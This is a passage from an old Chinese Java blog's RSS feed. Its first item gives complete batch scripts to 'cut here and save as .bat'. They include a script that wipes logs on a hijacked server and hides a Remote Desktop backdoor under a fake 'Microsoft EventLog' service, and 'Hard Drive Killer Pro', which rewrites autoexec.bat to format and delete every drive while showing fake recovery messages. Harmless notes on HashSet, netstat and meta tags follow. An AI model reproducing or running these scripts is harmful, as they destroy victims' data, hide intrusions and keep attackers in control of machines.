<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid">
<P>　　@echo preparing to delete all the default shares.when ready pres any key. </P>
<P>　　@pause </P>
<P>　　@echo off </P>
<P>　　:Rem check parameters if null show usage. </P>
<P>　　if {%1}=={} goto :Usage </P>
<P>　　:Rem code start. </P>
<P>　　echo. </P>
<P>　　echo ------------------------------------------------------ </P>
<P>　　echo. </P>
<P>　　echo Now deleting all the default shares. </P>
<P>　　echo. </P>
<P>　　net share %1$ /delete </P>
<P>　　net share %2$ /delete </P>
<P>　　net share %3$ /delete </P>
<P>　　net share %4$ /delete </P>
<P>　　net share %5$ /delete </P>
<P>　　net share %6$ /delete </P>
<P>　　net share %7$ /delete </P>
<P>　　net share %8$ /delete </P>
<P>　　net share %9$ /delete </P>
<P>　　net stop Server </P>
<P>　　net start Server </P>
<P>　　echo. </P>
<P>　　echo All the shares have been deleteed </P>
<P>　　echo. </P>
<P>　　echo ------------------------------------------------------ </P>
<P>　　echo. </P>
<P>　　echo Now modify the registry to change the system default properties. </P>
<P>　　echo. </P>
<P>　　echo Now creating the registry file </P>
<P>　　echo Windows Registry Editor Version 5.00&gt; c:\delshare.reg </P>
<P>　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]&gt;&gt; c:\delshare.reg </P>
<P>　　echo "AutoShareWks"=dword:00000000&gt;&gt; c:\delshare.reg </P>
<P>　　echo "AutoShareServer"=dword:00000000&gt;&gt; c:\delshare.reg </P>
<P>　　echo Nowing using the registry file to chang the system default properties. </P>
<P>　　regedit /s c:\delshare.reg </P>
<P>　　echo Deleting the temprotarily files. </P>
<P>　　del c:\delshare.reg </P>
<P>　　goto :END </P>
<P>　　:Usage </P>
<P>　　echo. </P>
<P>　　echo ------------------------------------------------------ </P>
<P>　　echo. </P>
<P>　　echo ☆ A example for batch file ☆ </P>
<P>　　echo ☆ [Use batch file to change the sysytem share properties.] ☆ </P>
<P>　　echo. </P>
<P>　　echo Author：Ex4rch </P>
<P>　　echo Mail:Ex4rch@hotmail.com QQ:1672602 </P>
<P>　　echo. </P>
<P>　　echo Error：Not enough parameters </P>
<P>　　echo. </P>
<P>　　echo ☆ Please enter the share disk you wanna delete ☆ </P>
<P>　　echo. </P>
<P>　　echo For instance，to delete the default shares: </P>
<P>　　echo delshare c d e ipc admin print </P>
<P>　　echo. </P>
<P>　　echo If the disklable is not as C: D: E: ，Please chang it youself. </P>
<P>　　echo. </P>
<P>　　echo example： </P>
<P>　　echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ： </P>
<P>　　echo delshare c d e x y z ipc admin print </P>
<P>　　echo. </P>
<P>　　echo *** you can delete nine shares once in a useing *** </P>
<P>　　echo. </P>
<P>　　echo ------------------------------------------------------ </P>
<P>　　goto :EOF </P>
<P>　　:END </P>
<P>　　echo. </P>
<P>　　echo ------------------------------------------------------ </P>
<P>　　echo. </P>
<P>　　echo OK,delshare.bat has deleted all the share you assigned. </P>
<P>　　echo.Any questions ,feel free to mail to <A href="mailto:Ex4rch@hotmail.com">Ex4rch@hotmail.com</A>. </P>
<P>　　echo </P>
<P>　　echo. </P>
<P>　　echo ------------------------------------------------------ </P>
<P>　　echo. </P>
<P>　　:EOF </P>
<P>　　echo end of the batch file </P></DIV>
<P><BR>　　------------ cut here then save as .bat or .cmd file ----------- <BR>　　下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。 </P>
<P>　　@regedit /s patch.dll </P>
<P>　　@net stop w3svc </P>
<P>　　@net stop event log </P>
<P>　　@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q </P>
<P>　　@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q </P>
<P>　　@del c:\winnt\system32\config\*.event /f /q </P>
<P>　　@del c:\winnt\system32dtclog\*.* /f /q </P>
<P>　　@del c:\winnt\*.txt /f /q </P>
<P>　　@del c:\winnt\*.log /f /q </P>
<P>　　@net start w3svc </P>
<P>　　@net start event log </P>
<P>　　@rem [删除日志] </P>
<P>　　@net stop lanmanserver /y </P>
<P>　　@net stop Schedule /y </P>
<P>　　@net stop RemoteRegistry /y </P>
<P>　　@del patch.dll </P>
<P>　　@echo The server has been patched,Have fun. </P>
<P>　　@del patch.bat </P>
<P>　　@REM [禁止一些危险的服务。] </P>
<P>　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] &gt;&gt;patch.dll </P>
<P>　　@echo "PortNumber"=dword:00002010 &gt;&gt;patch.dll </P>
<P>　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp &gt;&gt;patch.dll </P>
<P>　　@echo "PortNumber"=dword:00002012 &gt;&gt;patch.dll </P>
<P>　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] &gt;&gt;patch.dll </P>
<P>　　@echo "Start"=dword:00000002 &gt;&gt;patch.dll </P>
<P>　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] &gt;&gt;patch.dll </P>
<P>　　@echo "Start"=dword:00000002 &gt;&gt;patch.dll </P>
<P>　　@echo "ErrorControl"=dword:00000001 &gt;&gt;patch.dll </P>
<P>　　@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ &gt;&gt;patch.dll </P>
<P>　　@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ &gt;&gt;patch.dll </P>
<P>　　@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll </P>
<P>　　@echo "ObjectName"="LocalSystem" &gt;&gt;patch.dll </P>
<P>　　@echo "Type"=dword:00000010 &gt;&gt;patch.dll </P>
<P>　　@echo "Description"="Keep record of the program and windows message。" &gt;&gt;patch.dll </P>
<P>　　@echo "DisplayName"="Microsoft EventLog" &gt;&gt;patch.dll </P>
<P>　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] &gt;&gt;patch.dll </P>
<P>　　@echo "Start"=dword:00000004 &gt;&gt;patch.dll </P>
<P>　　@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe </P>
<P>　　@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]</P>
<P>　　3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。） </P>
<P>　　------------ cut here then save as .bat or .cmd file ------- </P>
<P>&nbsp;</P>
<P>　　@echo off </P>
<P>　　rem This program is dedecated to a very special person that does not want to be named. </P>
<P>　　:start </P>
<P>　　cls </P>
<P>　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . </P>
<P>　　call attrib -r -h c:\autoexec.bat &gt;nul </P>
<P>　　echo @echo off &gt;c:\autoexec.bat </P>
<P>　　echo call format c: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat </P>
<P>　　call attrib +r +h c:\autoexec.bat &gt;nul </P>
<P>　　rem Drive checking and assigning the valid drives to the drive variable. </P>
<P>　　set drive= </P>
<P>　　set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z </P>
<P>　　rem code insertion for Drive Checking takes place here. </P>
<P>　　rem drivechk.bat is the file name under the root directory. </P>
<P>　　rem As far as the drive detection and drive variable settings, dont worry about how it </P>
<P>　　rem works, its d\*amn to complicated for the average or even the expert batch programmer. </P>
<P>　　rem Except for Tom Lavedas. </P>
<P>　　echo @echo off &gt;drivechk.bat </P>
<P>　　echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" &gt; nul &gt;{t}.bat </P>
<P>　　%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat </P>
<P>　　del {t}.bat </P>
<P>　　echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat </P>
<P>　　cls </P>
<P>　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . </P>
<P>　　rem When errorlevel is 1, then the above is not true, if 0, then its true. </P>
<P>　　rem Opposite of binary rules. If 0, it will elaps to the next command. </P>
<P>　　echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" &gt; nul &gt;{t}.bat </P>
<P>　　%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat </P>
<P>　　del {t}.bat </P>
<P>　　echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat </P>
<P>　　cls </P>
<P>　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . </P>
<P>　　rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. </P>
<P>　　rem if errorlevel is 0, then it will elaps to the next command. </P>
<P>　　echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" &gt; nul &gt;{t}.bat </P>
<P>　　%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat </P>
<P>　　del {t}.bat </P>
<P>　　echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat </P>
<P>　　cls </P>
<P>　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . </P>
<P>　　rem if its errorlevel 1, then the specified drive is a hard or floppy drive. </P>
<P>　　rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. </P>
<P>　echo :enddc &gt;&gt;drivechk.bat </P>
<P>　　rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". </P>
<P>　　rem Now we will use the program drivechk.bat to attain valid drive information. </P>
<P>　　:Sampledrv </P>
<P>　　for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul </P>
<P>　　del drivechk.bat &gt;nul </P>
<P>　　if %drive.==. set drive=c </P>
<P>　　:form_del </P>
<P>　　call attrib -r -h c:\autoexec.bat &gt;nul </P>
<P>　　echo @echo off &gt;c:\autoexec.bat </P>
<P>　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat </P>
<P>　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat </P>
<P>　　echo cls &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat </P>
<P>　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat </P>
<P>　　echo cls &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat </P>
<P>　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat </P>
<P>　　echo cls &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat </P>
<P>　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat </P>
<P>　　echo cls &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat </P>
<P>　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat </P>
<P>　　echo cls &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat </P>
<P>　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat </P>
<P>　　echo cd\ &gt;&gt;c:\autoexec.bat </P>
<P>　　echo cls &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo 1. To make people aware that security should not be taken for granted. &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.&gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo. &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo Regards, &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo. &gt;&gt;c:\autoexec.bat </P>
<P>　　echo echo Munga Bunga &gt;&gt;c:\autoexec.bat </P>
<P>　　call attrib +r +h c:\autoexec.bat </P>
<P>　　:makedir </P>
<P>　　if exist c:\temp.bat attrib -r -h c:\temp.bat &gt;nul </P>
<P>　　echo @echo off &gt;c:\temp.bat </P>
<P>　　echo %%1:\ &gt;&gt;c:\temp.bat </P>
<P>　　echo cd\ &gt;&gt;c:\temp.bat </P>
<P>　　echo :startmd &gt;&gt;c:\temp.bat </P>
<P>　　echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a &gt;&gt;c:\temp.bat </P>
<P>　　echo for %%%%a in ("&gt;ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! &gt;&gt;c:\temp.bat </P>
<P>　　echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd &gt;&gt;c:\temp.bat </P>
<P>　　call attrib +r +h c:\temp.bat &gt;nul </P>
<P>　　cls </P>
<P>　　echo Initializing Variables . . . </P>
<P>　　rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. </P>
<P>　　for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul </P>
<P>　　cls </P>
<P>　　echo Initializing Variables . . . </P>
<P>　　echo Validating Data . . . </P>
<P>　　for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul </P>
<P>　　cls </P>
<P>　　echo Initializing Variables . . . </P>
<P>　　echo Validating Data . . . </P>
<P>　　echo Analyzing System Structure . . . </P>
<P>　　for %%a in (%drive%) call attrib -r -h %%a:\ /S &gt;nul </P>
<P>　　call attrib +r +h c:\temp.bat &gt;nul </P>
<P>　　call attrib +r +h c:\autoexec.bat &gt;nul </P>
<P>　　cls </P>
<P>　　echo Initializing Variables . . . </P>
<P>　　echo Validating Data . . . </P>
<P>　　echo Analyzing System Structure . . . </P>
<P>　　echo Initializing Application . . . </P>
<P>　　for %%a in (%drive%) call deltree /y %%a:\*. &gt;nul </P>
<P>　　cls </P>
<P>　　echo Initializing Variables . . . </P>
<P>　　echo Validating Data . . . </P>
<P>　　echo Analyzing System Structure . . . </P>
<P>　　echo Initializing Application . . . </P>
<P>　　echo Starting Application . . . </P>
<P>　　for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul </P>
<P>　　cls </P>
<P>　　echo Thank you for using a Munga Bunga product. </P>
<P>　　echo. </P>
<P>　　echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. </P>
<P>　　echo. </P>
<P>　　echo Here is a joke for you . . . </P>
<P>　　echo. </P>
<P>　　echo Q). Whats the worst thing about being an egg? </P>
<P>　　echo A). You only get laid once. </P>
<P>　　echo. </P>
<P>　　echo HAHAHAHA, get it? Dont you just love that one? </P>
<P>　　echo. </P>
<P>　　echo Regards, </P>
<P>　　echo. </P>
<P>　　echo Munga Bunga </P>
<P>　　:end </P>
<P>　　rem Hard Drive Killer Pro Version 4.0, enjoy!!!! </P>
<P>　　rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here). </P>
<P><BR>&nbsp;</P><img src ="http://www.blogjava.net/chinajox/aggbug/16965.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-27 09:57 <a href="http://www.blogjava.net/chinajox/articles/16965.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>HashSet  相关介绍</title><link>http://www.blogjava.net/chinajox/articles/16873.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Wed, 26 Oct 2005 07:37:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/16873.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/16873.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/16873.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/16873.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/16873.html</trackback:ping><description><![CDATA[<FONT size=2>HashSet實作Set介面，Set介面繼承Collection介面，Set容器中的物件都是唯一的，加入&nbsp;Set容器中的物件都必須重新定義equals()方法，作為唯一性的識別，Set容器有自己的一套排序規則。<BR><BR>HashSet的排序規則是利用Hash&nbsp;Table，所以加入HashSet容器的物件還必須重新定義hashCode()方法，利用Hash的方式，可以讓您快速的找到容器中的物件。<BR><BR>事實上，在撰寫新的類別時，最好總是重新定義equals()與hashCode()方法，以符合Java的設計規範，您可以參考&nbsp;Object&nbsp;類別&nbsp;中的介紹瞭解如何重新定義equals()與hashCode()。</FONT><img src ="http://www.blogjava.net/chinajox/aggbug/16873.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-26 15:37 <a href="http://www.blogjava.net/chinajox/articles/16873.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>netstat 的用法</title><link>http://www.blogjava.net/chinajox/articles/16872.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Wed, 26 Oct 2005 07:36:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/16872.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/16872.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/16872.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/16872.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/16872.html</trackback:ping><description><![CDATA[<FONT size=2>这是一个用来查看网络状态的命令，操作简便功能强大。<BR><BR>-a&nbsp;查看本地机器的所有开放端口，可以有效发现和预防木马，可以知道机器所开的服务等信息，如图4。<BR><BR>这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法：netstat&nbsp;-a&nbsp;IP。<BR><BR>-r&nbsp;列出当前的路由信息，告诉我们本地机器的网关、子网掩码等信息。用法：netstat&nbsp;-r&nbsp;IP。</FONT><img src ="http://www.blogjava.net/chinajox/aggbug/16872.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-26 15:36 <a href="http://www.blogjava.net/chinajox/articles/16872.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Meta标记的含义--如何理解关键字、标题、URL、站点描述</title><link>http://www.blogjava.net/chinajox/articles/16871.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Wed, 26 Oct 2005 07:28:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/16871.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/16871.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/16871.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/16871.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/16871.html</trackback:ping><description><![CDATA[<FONT size=2>作者:++<BR><BR><BR>Meta标记的含义--如何理解关键字、标题、URL、站点描述<BR>Meta标记至少需要包含网站关键字&nbsp;标题&nbsp;URL&nbsp;站点描述<BR><BR>我们在向搜索引擎登录网站时，需要填写关键字、标题、URL、站点描述几项内容，不要小看这四项内容，它对网站的被收录成功率以及您登录网站在搜索引擎中的排名位置、吸引客户浏览和是否方便查询您的网站，都起着关键性的作用，所以要认真对待。<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;★&nbsp;关键字：搜索引擎客户想要在网上查找某些内容时，所键入的相关关键字。客户搜索这个关键字时，您针对这个关键字所填写的信息就会出现在搜索结果的前列。关键字不限语言种类，可以是中文、英文、数字，也可以是不同文字的混合形式。<BR>包含在meta&nbsp;keyword&nbsp;标记中的关键字应和相应页面的内容相匹配。网站首页是最为重要的页面。<BR>将3到4个主要的关键包含在该页面的关键字标记中。一般可以书写15个关键字左右。有些搜索引擎(如&nbsp;Inktomi)建议关键字之间用逗号分开。&nbsp;<BR><BR>搜索引擎，如&nbsp;Altavista,&nbsp;Direct&nbsp;Hit&nbsp;支持关键字meta标记，Inktomi甚至还把关键字和描述标记作为排名的一个因素，当然是还要考虑其他更为重要的优化标准。<BR>对于搜索引擎来说，为访问者提供的内容是提高网站排名最为重要的因素，尽管如此，增加必要的META标记当然不会影响您的排名，因为它也是排名的一个因素，只要您的META标记和网站内容有关联性。<BR><BR>&nbsp;&nbsp;★&nbsp;标题：您的站点的标题，将出现在作为检索结果的站点列表中<BR><BR>&nbsp;&nbsp;★&nbsp;URL：您的网站（/或网页）的&nbsp;URL&nbsp;地址，客户直接点击此地址即可来到您的网站（/或网页），将出现在作为检索结果的站点列表中。目前不接受动态URL。<BR><BR>&nbsp;&nbsp;★&nbsp;站点描述：您的网站或网页的一些简短描述，主要说明网站的主题、性质、内容等等，将出现在作为检索结果的站点列表中。内容必须与您的网站或网页内容想符合。<BR>网站描述标记(meta&nbsp;description&nbsp;tag)被绝大部分搜索引擎支持，它提供了网站的概要描述。因此，该标记无论对搜索引擎还是对访问者来说都是重要的部分。一般来说，描述标记长度应该在150个字符。再次重声，该标记对搜索引擎至关重要，对访问者至关重要，因为搜索引擎用来评判排名，显示搜索结果，访问者根据它来决定是否点击进入您的网站。</FONT><img src ="http://www.blogjava.net/chinajox/aggbug/16871.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-26 15:28 <a href="http://www.blogjava.net/chinajox/articles/16871.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对java.util的总结 </title><link>http://www.blogjava.net/chinajox/articles/16870.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Wed, 26 Oct 2005 07:27:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/16870.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/16870.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/16870.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/16870.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/16870.html</trackback:ping><description><![CDATA[<FONT size=2>作者：时时<BR><BR>15.3.3&nbsp;HashSet类<BR>HashSet扩展AbstractSet并且实现Set接口。它创建一个类集，该类集使用散列表进行存<BR>储。正像大多数读者很可能知道的那样，散列表通过使用称之为散列法的机制来存储信息。<BR>在散列（hashing）中，一个关键字的信息内容被用来确定唯一的一个值，称为散列码（hash<BR>code）。而散列码被用来当做与关键字相连的数据的存储下标。关键字到其散列码的转换<BR>是自动执行的??你看不到散列码本身。你的程序代码也不能直接索引散列表。散列法的<BR>优点在于即使对于大的集合，它允许一些基本操作如add(&nbsp;)，contains(&nbsp;)，remove(&nbsp;)和size(&nbsp;)<BR>方法的运行时间保持不变。<BR>下面的构造函数定义为：<BR>HashSet(&nbsp;)<BR>HashSet(Collection&nbsp;c)<BR>HashSet(int&nbsp;capacity)<BR>HashSet(int&nbsp;capacity,&nbsp;float&nbsp;fillRatio)<BR>第一种形式构造一个默认的散列集合。第二种形式用c中的元素初始化散列集合。第三<BR>种形式用capacity初始化散列集合的容量。第四种形式用它的参数初始化散列集合的容量和<BR>填充比（也称为加载容量）。填充比必须介于0.0与1.0之间，它决定在散列集合向上调整大<BR>小之前，有多少能被充满。具体的说，就是当元素的个数大于散列集合容量乘以它的填充<BR>比时，散列集合被扩大。对于没有获得填充比的构造函数，默认使用0.75。<BR>HashSet没有定义任何超过它的超类和接口提供的其他方法。<BR>重要的是，注意散列集合并没有确保其元素的顺序，因为散列法的处理通常不让自己<BR>参与创建排序集合。如果需要排序存储，另一种类集??TreeSet将是一个更好的选择。<BR>这里是一个说明HashSet的例子。<BR>//&nbsp;Demonstrate&nbsp;HashSet.<BR>import&nbsp;java.util.*;<BR>class&nbsp;HashSetDemo&nbsp;{<BR>public&nbsp;static&nbsp;void&nbsp;main(String&nbsp;args[])&nbsp;{<BR>//&nbsp;create&nbsp;a&nbsp;hash&nbsp;set<BR>HashSet&nbsp;hs&nbsp;=&nbsp;new&nbsp;HashSet();<BR>//&nbsp;add&nbsp;elements&nbsp;to&nbsp;the&nbsp;hash&nbsp;set<BR>hs.add("B");<BR>hs.add("A");<BR>hs.add("D");<BR>hs.add("E");<BR>hs.add("C");<BR>hs.add("F");<BR><BR>System.out.println(hs);<BR>}<BR>}<BR>下面是该程序的输出：<BR>[A,&nbsp;F,&nbsp;E,&nbsp;D,&nbsp;C,&nbsp;B]<BR>如上面解释的那样，元素并没有按顺序进行存储。<BR>15.3.4&nbsp;TreeSet类<BR>TreeSet为使用树来进行存储的Set接口提供了一个工具，对象按升序存储。访问和检索<BR>是很快的。在存储了大量的需要进行快速检索的排序信息的情况下，TreeSet是一个很好的<BR>选择。<BR>下面的构造函数定义为：<BR>TreeSet(&nbsp;)<BR>TreeSet(Collection&nbsp;c)<BR>TreeSet(Comparator&nbsp;comp)<BR>TreeSet(SortedSet&nbsp;ss)<BR>第一种形式构造一个空的树集合，该树集合将根据其元素的自然顺序按升序排序。第<BR>二种形式构造一个包含了c的元素的树集合。第三种形式构造一个空的树集合，它按照由<BR>comp指定的比较函数进行排序（比较函数将在本章后面介绍）。第四种形式构造一个包含<BR>了ss的元素的树集合<BR>这里是一个说明TreeSet的例子。<BR>//&nbsp;Demonstrate&nbsp;TreeSet.<BR>import&nbsp;java.util.*;<BR>class&nbsp;TreeSetDemo&nbsp;{<BR>public&nbsp;static&nbsp;void&nbsp;main(String&nbsp;args[])&nbsp;{<BR>//&nbsp;Create&nbsp;a&nbsp;tree&nbsp;set<BR>TreeSet&nbsp;ts&nbsp;=&nbsp;new&nbsp;TreeSet();<BR>//&nbsp;Add&nbsp;elements&nbsp;to&nbsp;the&nbsp;tree&nbsp;set<BR>ts.add("C");<BR>ts.add("A");<BR>ts.add("B");<BR>ts.add("E");<BR>ts.add("F");<BR>ts.add("D");<BR>System.out.println(ts);<BR>}<BR>}<BR>这个程序的输出如下所示：<BR>[A,&nbsp;B,&nbsp;C,&nbsp;D,&nbsp;E,&nbsp;F]<BR>正如上面解释的那样，因为TreeSet按树存储其元素，它们被按照排序次序自动安排，<BR><BR>如程序输出所示。<BR>15.4&nbsp;通过迭代函数访问类集<BR>通常希望循环通过类集中的元素。例如，可能会希望显示每一个元素。到目前为止，<BR>处理这个问题的最简单方法是使用iterator，iterator是一个或者实现Iterator或者实现<BR>ListIterator接口的对象。Iterator可以完成循环通过类集，从而获得或删除元素。ListIterator<BR>扩展Iterator，允许双向遍历列表，并可以修改单元。Iterator接口说明的方法总结在表15-4<BR>中。ListIterator接口说明的方法总结在表15-5中。<BR>表15-4&nbsp;由Iterator&nbsp;定义的方法<BR>方法描述<BR>boolean&nbsp;hasNext(&nbsp;)&nbsp;如果存在更多的元素，则返回true，否则返回false<BR>Object&nbsp;next(&nbsp;)&nbsp;返回下一个元素。如果没有下一个元素，则引发NoSuchElementException异常<BR>void&nbsp;remove(&nbsp;)&nbsp;删除当前元素，如果试图在调用next(&nbsp;)方法之后，调用remove(&nbsp;)方法，则引发<BR>IllegalStateException异常<BR>表15-5&nbsp;由ListIterator&nbsp;定义的方法<BR>方法描述<BR>void&nbsp;add(Object&nbsp;obj)&nbsp;将obj插入列表中的一个元素之前，该元素在下一次调用next(&nbsp;)方法时，被返<BR>回<BR>boolean&nbsp;hasNext(&nbsp;)&nbsp;如果存在下一个元素，则返回true；否则返回false<BR>boolean&nbsp;hasPrevious(&nbsp;)&nbsp;如果存在前一个元素，则返回true；否则返回false<BR>Object&nbsp;next(&nbsp;)&nbsp;返回下一个元素，如果不存在下一个元素，则引发一个NoSuchElement<BR>Exception异常<BR>int&nbsp;nextIndex(&nbsp;)&nbsp;返回下一个元素的下标，如果不存在下一个元素，则返回列表的大小<BR>Object&nbsp;previous(&nbsp;)&nbsp;返回前一个元素，如果前一个元素不存在，则引发一个NoSuchElement<BR>Exception异常<BR>int&nbsp;previousIndex(&nbsp;)&nbsp;返回前一个元素的下标，如果前一个元素不存在，则返回-1<B